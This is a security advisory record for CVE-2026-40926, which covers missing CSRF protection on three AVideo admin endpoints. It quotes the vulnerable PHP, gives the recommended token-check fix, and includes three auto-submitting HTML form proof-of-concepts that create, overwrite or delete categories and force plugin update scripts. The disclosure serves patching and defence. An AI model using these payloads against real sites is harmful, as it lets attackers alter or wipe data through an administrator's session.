{"id":"CVE-2026-40926","aliases":["GHSA-ffw8-fwxp-h64w"],"url":"https://o3.security/vulnerability/CVE-2026-40926","summary":"WWBN AVideo Vulnerable to CSRF in Admin JSON Endpoints (Category CRUD, Plugin Update Script)","details":"## Summary\n\nThree admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session.\n\n## Details\n\nAVideo's CSRF defense is not applied globally — each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST['globalToken']`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not.\n\n### 1. `objects/categoryAddNew.json.php:18` — CSRF create/overwrite category\n\n```php\n 18 if (!Category::canCreateCategory()) {\n 19     $obj->msg = __(\"Permission denied\");\n 20     die(json_encode($obj));\n 21 }\n 22\n 23 $objCat = new Category(intval(@$_POST['id']));\n 24 $objCat->setName($_POST['name']);\n 25 $objCat->setClean_name($_POST['clean_name']);\n 26 $objCat->setDescription($_POST['description']);\n 27 $objCat->setIconClass($_POST['iconClass']);\n 28 $objCat->setSuggested($_POST['suggested']);\n 29 $objCat->setParentId($_POST['parentId']);\n 30 $objCat->setPrivate($_POST['private']);\n 31 $objCat->setAllow_download($_POST['allow_download']);\n 32 $objCat->setOrder($_POST['order']);\n 33 $obj->categories_id = $objCat->save();\n```\n\n`Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST['id']))`, a non-zero `id` causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.\n\n### 2. `objects/categoryDelete.json.php:10` — CSRF delete category\n\n```php\n 10 if (!Category::canCreateCategory()) {\n 11     die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n 12 }\n 13 require_once 'category.php';\n 14 $obj = new Category($_POST['id']);\n 15 $response = $obj->delete();\n```\n\nNo token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`.\n\n### 3. `objects/pluginRunUpdateScript.json.php:9` — CSRF forced plugin update\n\n```php\n  9 if (!User::isAdmin()) {\n 10     forbiddenPage('Permission denied');\n 11 }\n 12 if (empty($_POST['name'])) {\n 13     forbiddenPage('Name can\\'t be blank');\n 14 }\n 15 ini_set('max_execution_time', 300);\n 16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php';\n 17\n 18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){\n 19     $_POST['name'] = 'PlayLists';\n 20 }\n 21\n 22 $obj = new stdClass();\n 23 $obj->error = !AVideoPlugin::updatePlugin($_POST['name']);\n```\n\n`AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it — confirming this file is an omission.\n\n### Why no global mitigation blocks this\n\n- `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint.\n- `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it.\n- The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one).\n- `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens.\n\n## PoC\n\nAll three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.\n\n### PoC 1 — Create/overwrite category\n\n```html\n<!-- evil-create.html -->\n<html><body>\n<form id=f action=\"https://victim.example.com/objects/categoryAddNew.json.php\" method=\"POST\">\n  <input name=\"id\" value=\"0\">            <!-- 0 = create; any existing id = overwrite -->\n  <input name=\"name\" value=\"Owned\">\n  <input name=\"clean_name\" value=\"owned\">\n  <input name=\"description\" value=\"pwn\">\n  <input name=\"iconClass\" value=\"fas fa-skull\">\n  <input name=\"suggested\" value=\"1\">\n  <input name=\"parentId\" value=\"0\">\n  <input name=\"private\" value=\"0\">\n  <input name=\"allow_download\" value=\"1\">\n  <input name=\"order\" value=\"1\">\n</form>\n<script>document.getElementById('f').submit();</script>\n</body></html>\n```\n\nExpected: a new row appears in the `categories` table, returned as `{\"error\":false,\"categories_id\":<n>,...}`. Changing `id=0` to an existing category id overwrites that row's fields.\n\n### PoC 2 — Delete category\n\n```html\n<!-- evil-delete.html -->\n<html><body>\n<form id=f action=\"https://victim.example.com/objects/categoryDelete.json.php\" method=\"POST\">\n  <input name=\"id\" value=\"2\">\n</form>\n<script>document.getElementById('f').submit();</script>\n</body></html>\n```\n\nMultiple hidden iframes with different `id` values can walk the category id space and wipe the category tree.\n\n### PoC 3 — Force plugin updateScript()\n\n```html\n<!-- evil-plugin-update.html -->\n<html><body>\n<form id=f action=\"https://victim.example.com/objects/pluginRunUpdateScript.json.php\" method=\"POST\">\n  <input name=\"name\" value=\"Live\">\n  <input name=\"uuid\" value=\"anything\">\n</form>\n<script>document.getElementById('f').submit();</script>\n</body></html>\n```\n\nExpected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin's `updateScript()` runs in the admin's session, with execution time extended to 300s.\n\n## Impact\n\n- **Integrity:** An attacker can silently cause the admin's browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation.\n- **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow.\n- **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin's `updateScript()` method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise.\n- **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.\n\n## Recommended Fix\n\nAdd an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`.\n\n```php\n// objects/categoryAddNew.json.php (after line 18)\nif (!Category::canCreateCategory()) {\n    $obj->msg = __(\"Permission denied\");\n    die(json_encode($obj));\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/categoryDelete.json.php (after line 12)\nif (!Category::canCreateCategory()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/pluginRunUpdateScript.json.php (after line 11)\nif (!User::isAdmin()) {\n    forbiddenPage('Permission denied');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\nThe long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.","published":"2026-04-21T22:12:28.883Z","modified":"2026-08-12T03:51:08.762888392Z","cvss":{"score":7.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/ee5615153c40628ab3ec6fe04962d1f92e67d3e2","label":"WWBN/AVideo@ee56151"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40926.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40926"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/ee5615153c40628ab3ec6fe04962d1f92e67d3e2"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:08.762888392Z"}}